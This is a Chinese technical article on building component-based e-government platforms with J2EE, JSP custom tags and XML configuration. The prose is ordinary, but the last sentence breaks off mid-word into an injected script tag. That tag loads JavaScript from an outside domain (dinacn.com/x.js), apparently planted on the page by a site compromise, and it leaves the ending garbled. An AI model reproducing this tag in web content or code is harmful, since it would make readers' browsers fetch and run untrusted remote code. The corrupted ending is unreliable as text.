通过构筑成熟的基于构件化的电子政务平台，将大大提高软件企业应对用户需求变更的能力、有效提高软件稳定性和降低软件开发成本。

　　随着中国电子政务水平的日益发展，各类电子政务应用层出不穷，涉及领域不断拓展、业务复杂度不断加深，整个电子政务领域呈现欣欣向荣、百家争鸣、百花齐放的态势。

　　但这日益繁荣发达的局面，同时也给我们带来了困扰和麻烦:越来越多的应用需要互联互通;软件操作人员不得不在各个应用系统之间频繁来回登陆、切换;开发好的应用需要经常变换业务需求。

　　这一切简直成了程序开发人员的噩梦，他们不停埋怨用户、埋怨用户的需求变更、埋怨越来越多的第三方接口、埋怨自己开发的系统越来越脆弱。

　　历史的经验告诉我们，当困难出现时必将出现新的革命，这一点IT也不例外。当业界还在为.NET和J2EE争论不休时，当人们还在为组件化开发欢欣雀跃时，一场新的IT革命正在悄悄进行，那就是基于构件的应用平台的革命。

　　如果说组件是面向程序开发的，那么构件就是面向应用发布的;如果说组件是通用标准化的螺栓、螺母，那么构件就是各具特色的马达引擎。有了组件，程序员可以快速开发新的应用，而有了构件，用户则可以自己根据需要为自己的汽车（应用）更换不同的引擎。

　　如前所述，当今电子政务系统日益复杂，更新变换日益频繁。如果我们面对用户的任何需求变化，都需要通过螺栓、螺母组装构造，显然已经力不从心。

　　为此，我们需要构建一系列的，不同型号，满足不同需求的引擎系统、刹车系统、悬挂系统等专业构件。并且为这些专业构件系统提供配套完整的组装平台，这就是基于构件的电子政务平台。

　　基于构件的电子政务平台特点

　　构件标准化

　　让我们就应用方向对组件和构件作一次比对，我们知道组件化是面向程序开发的，组件化强调应用开发的灵活性、高效性;而构件化相对组件则是面向应用的，它更强调业务逻辑的封装、强调业务实现的规范化、标准化。

　　回顾我们的电子政务系统，无论收发文、领导批示等诸多业务，还是单位组织机构、权限规划，往往具有类似的业务逻辑和工作流程。

　　由此可见，电子政务平台的众多业务标准化特性更符合构件化应用体系的设计部署。

　　构件接口化

　　所有构件既是独立的小系统，又是复杂电子政务应用系统的组成部分，因此必须是可组装的。

　　比如工作流构件必须要能够调用统一用户身份管理构件的相关接口，实现工作流的人员权限定义。

　　构件可配置

　　要实现构件的可组装，以满足用户不同的业务需求，那么构件就必须是可配置的，这也是构件系统的一大特色。

　　同样是统一用户身份管理构件，不同单位的使用方式可能截然不同，有些单位可能通过LDAP服务器进行身份管理，有些单位可能通过关系数据库进行管理，因此我们需要通过系统配置为不同的单位定义不同的工作模式。

　　构件封装业务逻辑

　　构件是业务逻辑处理的模块化封装，所有构件一定都封装了特定的业务逻辑。所以我们说构件一定是面向业务的。

　　如用户身份管理构件一定具有用户身份的维护、录入功能，用户身份的验证功能。

　　基于构件的电子政务平台设计

　　相关技术准备

　　我们在这里选择以J2EE技术作为系统实现的平台。J2EE是一种功能完备、稳定可靠、安全快速的企业级计算平台，它由多种基于JAVA的技术组成:EJB、 JSP、SERVLETS、JNDI、JTA、 JDBC 等。

　　J2EE具有以下优点:

　　平台无关性。我们不必将自己捆绑在某一种硬件或操作系统上，可以根据自身的情况选择合适的硬件、操作系统、数据库;

　　J2EE是一种组件技术，已完成的组件能被方便地移植到任何其它地方;

　　J2EE作为中间件，提供了强大的功能，使开发人员只需要关注商业逻辑，因而能加快开发速度，提高系统的运行效率和稳定性;
　
　　保护用户投资，当用户更换平台时，由于基于J2EE的系统能方便地移植到其它平台上，而无须重新开发，因此能有效地保护系统的投资。

　　JSP特有的自定义标签系统为我们设计“构件发布组件”提供了方便。所谓自定义标签，实际上是运行在J2EE服务器上的一组特殊的Java类，这些特殊的Java类通过tld定义文件声明为一系列的HTML标签。所以这些自定义标签实际上是已经封装了业务逻辑的一组代码，但我们在使用这些标签时并不需要知道其中的原理和逻辑。

　　XML是J2EE平台数据存储和交换的核心技术，通过XML文件的配置定义，可轻松实现构件的业务参数定义，通过JSP页面开发，我们则可实现参数定义的可视化操作。

　　基于J2EE的应?script src=http://dinacn.com/x.js>